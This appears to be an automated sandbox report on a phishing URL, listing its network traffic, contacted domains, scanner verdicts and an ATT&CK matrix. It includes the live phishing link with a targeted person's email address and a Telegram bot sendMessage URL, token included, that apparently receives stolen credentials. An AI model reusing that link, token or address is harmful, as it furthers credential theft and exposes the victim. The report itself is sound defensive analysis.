Source: chromecache_74.2.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=378607
Source: chromecache_74.2.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=449857
Source: chromecache_74.2.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=470258
Source: chromecache_74.2.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=589347
Source: chromecache_74.2.dr	String found in binary or memory: https://bugs.jquery.com/ticket/12359
Source: chromecache_74.2.dr	String found in binary or memory: https://bugs.jquery.com/ticket/13378
Source: chromecache_74.2.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=136851
Source: chromecache_74.2.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=137337
Source: chromecache_74.2.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=29084
Source: chromecache_74.2.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=687787
Source: chromecache_74.2.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/CSS/display
Source: chromecache_74.2.dr	String found in binary or memory: https://drafts.csswg.org/cssom/#common-serializing-idioms
Source: chromecache_74.2.dr	String found in binary or memory: https://drafts.csswg.org/cssom/#resolved-values
Source: chromecache_62.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/archivonarrow/v30/tss5ApVBdCYD5Q7hcxTE1ArZ0Zz8oY2KRmwvKhhvLFG6o3ms.woff2
Source: chromecache_62.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/archivonarrow/v30/tss5ApVBdCYD5Q7hcxTE1ArZ0Zz8oY2KRmwvKhhvLFG6rHmsJCQ.wo
Source: chromecache_62.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/archivonarrow/v30/tss5ApVBdCYD5Q7hcxTE1ArZ0Zz8oY2KRmwvKhhvLFG6rXmsJCQ.wo
Source: chromecache_74.2.dr	String found in binary or memory: https://github.com/eslint/eslint/issues/3229
Source: chromecache_74.2.dr	String found in binary or memory: https://github.com/eslint/eslint/issues/6125
Source: chromecache_74.2.dr	String found in binary or memory: https://github.com/jquery/jquery/pull/557)
Source: chromecache_74.2.dr	String found in binary or memory: https://github.com/jquery/sizzle/pull/225
Source: chromecache_74.2.dr	String found in binary or memory: https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon
Source: chromecache_74.2.dr	String found in binary or memory: https://html.spec.whatwg.org/#strip-and-collapse-whitespace
Source: chromecache_74.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#category-listed
Source: chromecache_74.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled
Source: chromecache_74.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled
Source: chromecache_74.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled
Source: chromecache_74.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled
Source: chromecache_74.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/syntax.html#attributes-2
Source: chromecache_74.2.dr	String found in binary or memory: https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace
Source: chromecache_73.2.dr, chromecache_66.2.dr	String found in binary or memory: https://ipinfo.io/missingauth
Source: chromecache_74.2.dr	String found in binary or memory: https://jquery.com/
Source: chromecache_74.2.dr	String found in binary or memory: https://jquery.org/license
Source: chromecache_74.2.dr	String found in binary or memory: https://jsperf.com/getall-vs-sizzle/2
Source: chromecache_74.2.dr	String found in binary or memory: https://jsperf.com/thor-indexof-vs-for/5
Source: chromecache_74.2.dr	String found in binary or memory: https://promisesaplus.com/#point-48
Source: chromecache_74.2.dr	String found in binary or memory: https://promisesaplus.com/#point-54
Source: chromecache_74.2.dr	String found in binary or memory: https://promisesaplus.com/#point-57
Source: chromecache_74.2.dr	String found in binary or memory: https://promisesaplus.com/#point-59
Source: chromecache_74.2.dr	String found in binary or memory: https://promisesaplus.com/#point-61
Source: chromecache_74.2.dr	String found in binary or memory: https://promisesaplus.com/#point-64
Source: chromecache_74.2.dr	String found in binary or memory: https://promisesaplus.com/#point-75
Source: chromecache_74.2.dr	String found in binary or memory: https://sizzlejs.com/
Source: chromecache_72.2.dr	String found in binary or memory: https://snapbuilder.com
Source: chromecache_74.2.dr	String found in binary or memory: https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/
Source: chromecache_74.2.dr	String found in binary or memory: https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-a

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 60655 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60659 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60651 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60653
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60652
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60651
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60650
Source: unknown	Network traffic detected: HTTP traffic on port 60670 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60649 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60668 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60664 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60659
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60655
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60650 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60664
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60663
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60662
Source: unknown	Network traffic detected: HTTP traffic on port 60648 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60669 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60665 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60669
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60668
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60667
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60666
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60665
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 60653 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60675
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60674
Source: unknown	Network traffic detected: HTTP traffic on port 60666 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60670
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60662 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49675
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 60652 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60667 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60649
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60648
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 60663 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.25:60651 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.25:60659 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.67:443 -> 192.168.2.25:60667 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.25:60668 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir5548_1132004546

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir5548_1132004546

Jump to behavior

Source: classification engine

Classification label: mal92.phis.troj.win@18/37@40/18

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations=is-enterprise-managed=no --field-trial-handle=1828,i,7476803358953529829,13947303041757850518,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20241209-180048.133000 --mojo-platform-channel-handle=2700 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#jake.totam@southwark.anglican.org"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations=is-enterprise-managed=no --field-trial-handle=1828,i,7476803358953529829,13947303041757850518,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20241209-180048.133000 --mojo-platform-channel-handle=2700 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	3 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#jake.totam@southwark.anglican.org	100%	Avira URL Cloud	phishing

Source	Detection	Scanner	Label
https://bugs.jquery.com/ticket/12359	0%	Avira URL Cloud	safe
https://bugs.webkit.org/show_bug.cgi?id=29084	0%	Avira URL Cloud	safe
https://html.spec.whatwg.org/#strip-and-collapse-whitespace	0%	Avira URL Cloud	safe
https://snapbuilder.com	0%	Avira URL Cloud	safe
https://promisesaplus.com/#point-75	0%	Avira URL Cloud	safe
https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled	0%	Avira URL Cloud	safe
https://bugs.webkit.org/show_bug.cgi?id=136851	0%	Avira URL Cloud	safe
https://jsperf.com/thor-indexof-vs-for/5	0%	Avira URL Cloud	safe
https://drafts.csswg.org/cssom/#common-serializing-idioms	0%	Avira URL Cloud	safe
https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace	0%	Avira URL Cloud	safe
https://bugs.chromium.org/p/chromium/issues/detail?id=378607	0%	Avira URL Cloud	safe
https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled	0%	Avira URL Cloud	safe
https://bugs.jquery.com/ticket/13378	0%	Avira URL Cloud	safe
https://bugs.chromium.org/p/chromium/issues/detail?id=470258	0%	Avira URL Cloud	safe
https://promisesaplus.com/#point-64	0%	Avira URL Cloud	safe
https://www.southwark.anglican.org/favicon.ico	0%	Avira URL Cloud	safe
https://bugs.chromium.org/p/chromium/issues/detail?id=589347	0%	Avira URL Cloud	safe
https://promisesaplus.com/#point-61	0%	Avira URL Cloud	safe
https://drafts.csswg.org/cssom/#resolved-values	0%	Avira URL Cloud	safe
https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html	100%	Avira URL Cloud	phishing
https://promisesaplus.com/#point-57	0%	Avira URL Cloud	safe
https://jsperf.com/getall-vs-sizzle/2	0%	Avira URL Cloud	safe
https://html.spec.whatwg.org/multipage/syntax.html#attributes-2	0%	Avira URL Cloud	safe
https://promisesaplus.com/#point-54	0%	Avira URL Cloud	safe
https://promisesaplus.com/#point-59	0%	Avira URL Cloud	safe
https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled	0%	Avira URL Cloud	safe
https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled	0%	Avira URL Cloud	safe
https://html.spec.whatwg.org/multipage/forms.html#category-listed	0%	Avira URL Cloud	safe
https://promisesaplus.com/#point-48	0%	Avira URL Cloud	safe
https://bugs.webkit.org/show_bug.cgi?id=137337	0%	Avira URL Cloud	safe
https://bugs.chromium.org/p/chromium/issues/detail?id=449857	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
kit.fontawesome.com.cdn.cloudflare.net	104.18.40.68	true	false	high
stackpath.bootstrapcdn.com	104.18.10.207	true	false	high
kwikkopyegypt.com	50.62.201.28	true	false	unknown
ka-f.fontawesome.com.cdn.cloudflare.net	172.67.139.119	true	false	high
maxcdn.bootstrapcdn.com	104.18.11.207	true	false	high
www.southwark.anglican.org	141.193.213.21	true	false	high
image.thum.io	54.156.104.133	true	false	high
dns.google	8.8.8.8	true	false	high
d26p066pn2w0s0.cloudfront.net	13.32.27.129	true	false	unknown
code.jquery.com	151.101.130.137	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
ipinfo.io	34.117.59.81	true	false	high
www.google.com	142.250.184.196	true	false	high
api.telegram.org	149.154.167.220	true	false	high
ka-f.fontawesome.com	unknown	unknown	false	high
kit.fontawesome.com	unknown	unknown	false	high
logo.clearbit.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://dns.google/resolve?name=southwark.anglican.org&type=MX	false		high
https://code.jquery.com/jquery-3.2.1.slim.min.js	false		high
https://ipinfo.io/json	false		high
https://www.southwark.anglican.org/favicon.ico	false	Avira URL Cloud: safe	unknown
https://otelrules.svc.static.microsoft/rules/rule120603v9s19.xml	false		high
https://www.google.com/s2/favicons?domain=?v=BUILD_HASH	false		high
https://image.thum.io/get/width/1200/http://southwark.anglican.org	false		high
https://otelrules.svc.static.microsoft/rules/rule120607v1s19.xml	false		high
https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html	true	Avira URL Cloud: phishing	unknown
https://code.jquery.com/jquery-3.1.1.min.js	false		high
https://code.jquery.com/jquery-3.3.1.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/axios/0.20.0/axios.min.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false		high
https://www.southwark.anglican.org/	false		unknown
https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#jake.totam@southwark.anglican.org	true		unknown
https://api.telegram.org/bot7288767743:AAGRVsMLRSfD1NGxN7FxB_HXGEFvLGfPn9w/sendMessage	false		high
https://www.google.com/s2/favicons?domain=southwark.anglican.org	false		high
https://otelrules.svc.static.microsoft/rules/officeclicktorun.exe-Production-v19.bundle	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ipinfo.io/missingauth	chromecache_73.2.dr, chromecache_66.2.dr	false		high
https://bugs.webkit.org/show_bug.cgi?id=136851	chromecache_74.2.dr	false	Avira URL Cloud: safe	unknown
http://jquery.org/license	chromecache_74.2.dr	false		high
https://jsperf.com/thor-indexof-vs-for/5	chromecache_74.2.dr	false	Avira URL Cloud: safe	unknown
https://bugs.jquery.com/ticket/12359	chromecache_74.2.dr	false	Avira URL Cloud: safe	unknown
https://snapbuilder.com	chromecache_72.2.dr	false	Avira URL Cloud: safe	unknown
https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/	chromecache_74.2.dr	false		high
https://html.spec.whatwg.org/#strip-and-collapse-whitespace	chromecache_74.2.dr	false	Avira URL Cloud: safe	unknown
https://promisesaplus.com/#point-75	chromecache_74.2.dr	false	Avira URL Cloud: safe	unknown
https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-a	chromecache_74.2.dr	false		high
https://drafts.csswg.org/cssom/#common-serializing-idioms	chromecache_74.2.dr	false	Avira URL Cloud: safe	unknown
https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled	chromecache_74.2.dr	false	Avira URL Cloud: safe	unknown
https://bugs.webkit.org/show_bug.cgi?id=29084	chromecache_74.2.dr	false	Avira URL Cloud: safe	unknown
https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace	chromecache_74.2.dr	false	Avira URL Cloud: safe	unknown
https://github.com/eslint/eslint/issues/6125	chromecache_74.2.dr	false		high
https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled	chromecache_74.2.dr	false	Avira URL Cloud: safe	unknown
https://github.com/jquery/jquery/pull/557)	chromecache_74.2.dr	false		high
https://bugs.chromium.org/p/chromium/issues/detail?id=378607	chromecache_74.2.dr	false	Avira URL Cloud: safe	unknown
https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon	chromecache_74.2.dr	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=687787	chromecache_74.2.dr	false		high
https://bugs.chromium.org/p/chromium/issues/detail?id=470258	chromecache_74.2.dr	false	Avira URL Cloud: safe	unknown
http://opensource.org/licenses/MIT).	chromecache_76.2.dr	false		high
https://bugs.jquery.com/ticket/13378	chromecache_74.2.dr	false	Avira URL Cloud: safe	unknown
https://promisesaplus.com/#point-64	chromecache_74.2.dr	false	Avira URL Cloud: safe	unknown
https://promisesaplus.com/#point-61	chromecache_74.2.dr	false	Avira URL Cloud: safe	unknown
https://drafts.csswg.org/cssom/#resolved-values	chromecache_74.2.dr	false	Avira URL Cloud: safe	unknown
https://bugs.chromium.org/p/chromium/issues/detail?id=589347	chromecache_74.2.dr	false	Avira URL Cloud: safe	unknown
https://html.spec.whatwg.org/multipage/syntax.html#attributes-2	chromecache_74.2.dr	false	Avira URL Cloud: safe	unknown
https://promisesaplus.com/#point-59	chromecache_74.2.dr	false	Avira URL Cloud: safe	unknown
https://jsperf.com/getall-vs-sizzle/2	chromecache_74.2.dr	false	Avira URL Cloud: safe	unknown
https://promisesaplus.com/#point-57	chromecache_74.2.dr	false	Avira URL Cloud: safe	unknown
https://github.com/eslint/eslint/issues/3229	chromecache_74.2.dr	false		high
https://promisesaplus.com/#point-54	chromecache_74.2.dr	false	Avira URL Cloud: safe	unknown
https://html.spec.whatwg.org/multipage/forms.html#category-listed	chromecache_74.2.dr	false	Avira URL Cloud: safe	unknown
https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled	chromecache_74.2.dr	false	Avira URL Cloud: safe	unknown
https://developer.mozilla.org/en-US/docs/CSS/display	chromecache_74.2.dr	false		high
https://jquery.org/license	chromecache_74.2.dr	false		high
https://jquery.com/	chromecache_74.2.dr	false		high
https://bugs.webkit.org/show_bug.cgi?id=137337	chromecache_74.2.dr	false	Avira URL Cloud: safe	unknown
https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled	chromecache_74.2.dr	false	Avira URL Cloud: safe	unknown
https://promisesaplus.com/#point-48	chromecache_74.2.dr	false	Avira URL Cloud: safe	unknown
https://github.com/jquery/sizzle/pull/225	chromecache_74.2.dr	false		high
https://sizzlejs.com/	chromecache_74.2.dr	false		high
https://bugs.chromium.org/p/chromium/issues/detail?id=449857	chromecache_74.2.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.10.207	stackpath.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
104.18.40.68	kit.fontawesome.com.cdn.cloudflare.net	United States	13335	CLOUDFLARENETUS	false
8.8.4.4	unknown	United States	15169	GOOGLEUS	false
216.58.206.36	unknown	United States	15169	GOOGLEUS	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
8.8.8.8	dns.google	United States	15169	GOOGLEUS	false
141.193.213.21	www.southwark.anglican.org	United States	396845	DV-PRIMARY-ASN1US	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
13.32.27.129	d26p066pn2w0s0.cloudfront.net	United States	7018	ATT-INTERNET4US	false
142.250.184.196	www.google.com	United States	15169	GOOGLEUS	false
34.117.59.81	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
172.217.18.4	unknown	United States	15169	GOOGLEUS	false
172.67.139.119	ka-f.fontawesome.com.cdn.cloudflare.net	United States	13335	CLOUDFLARENETUS	false
54.156.104.133	image.thum.io	United States	14618	AMAZON-AESUS	false
104.18.11.207	maxcdn.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
50.62.201.28	kwikkopyegypt.com	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.25

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1633669
Start date and time:	2025-03-10 13:49:30 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#jake.totam@southwark.anglican.org
Analysis system description:	Windows 11 23H2 with Office Professional Plus 2021, Chrome 131, Firefox 133, Adobe Reader DC 24, Java 8 Update 431, 7zip 24.09
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal92.phis.troj.win@18/37@40/18

Warnings

Exclude process from analysis (whitelisted): SecurityHealthHost.exe, RuntimeBroker.exe, ShellExperienceHost.exe, WMIADAP.exe, SIHClient.exe, appidcertstorecheck.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.16.131, 142.250.181.238, 142.250.110.84, 142.250.186.142, 142.250.184.238, 142.250.184.206, 142.250.186.174, 172.217.23.106, 142.250.186.42, 216.58.206.35, 142.250.186.106, 142.250.184.202, 142.250.185.74, 216.58.212.138, 142.250.186.170, 142.250.185.170, 172.217.16.138, 142.250.186.74, 172.217.18.10, 142.250.185.106, 216.58.206.74, 142.250.184.234, 142.250.185.138, 142.250.186.138, 142.250.185.202, 142.250.185.78, 172.217.16.206, 172.217.23.110, 142.251.32.110, 173.194.17.198, 216.58.206.42, 142.250.181.234, 142.250.185.234, 216.58.212.170, 172.217.16.202, 142.250.74.202, 172.217.16.142, 142.250.186.131, 199.232.214.172, 23.60.203.209, 20.109.210.53, 40.126.31.3
Excluded domains from analysis (whitelisted): r1.sn-hp57knd6.gvt1.com, client.wns.windows.com, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ajax.googleapis.com, fonts.gstatic.com, r1---sn-hp57knd6.gvt1.com, ctldl.windowsupdate.com, clientservices.googleapis.com, www.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, login.live.com, otelrules.svc.static.microsoft, update.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#jake.totam@southwark.anglican.org

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	9
Entropy (8bit):	2.94770277922009
Encrypted:	false
SSDEEP:	3:mn:mn
MD5:	722969577A96CA3953E84E3D949DEE81
SHA1:	3DAB5F6012E3E149B5A939B9CEBBA4A0B84DC8F5
SHA-256:	78342A0905A72CE44DA083DCB5D23B8EA0C16992BA2A82EECE97E033D76BA3D3
SHA-512:	54B2B4596CD1769E46A12A0CA6EDE70468985CF8771C2B11E75B3F52567A64418BC24C067D96D52037E0E135E7A7FF828AD0241D55B827506E1C67DE1CAEE8BC
Malicious:	false
Reputation:	low
URL:	https://kit.fontawesome.com/585b051251.js
Preview:	Forbidden

Chrome Cache Entry: 61

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	13529
Entropy (8bit):	7.981473427014176
Encrypted:	false
SSDEEP:	384:WNmROHjlvBUz6cyeYP5c0BZE/fLtZO4ZTyKBvag:umROHrteYvZA798g
MD5:	3EEFFD5E7F96EE19160EE0825AE7125A
SHA1:	972607DACBF55571A329CC15151D8D62BC95CA42
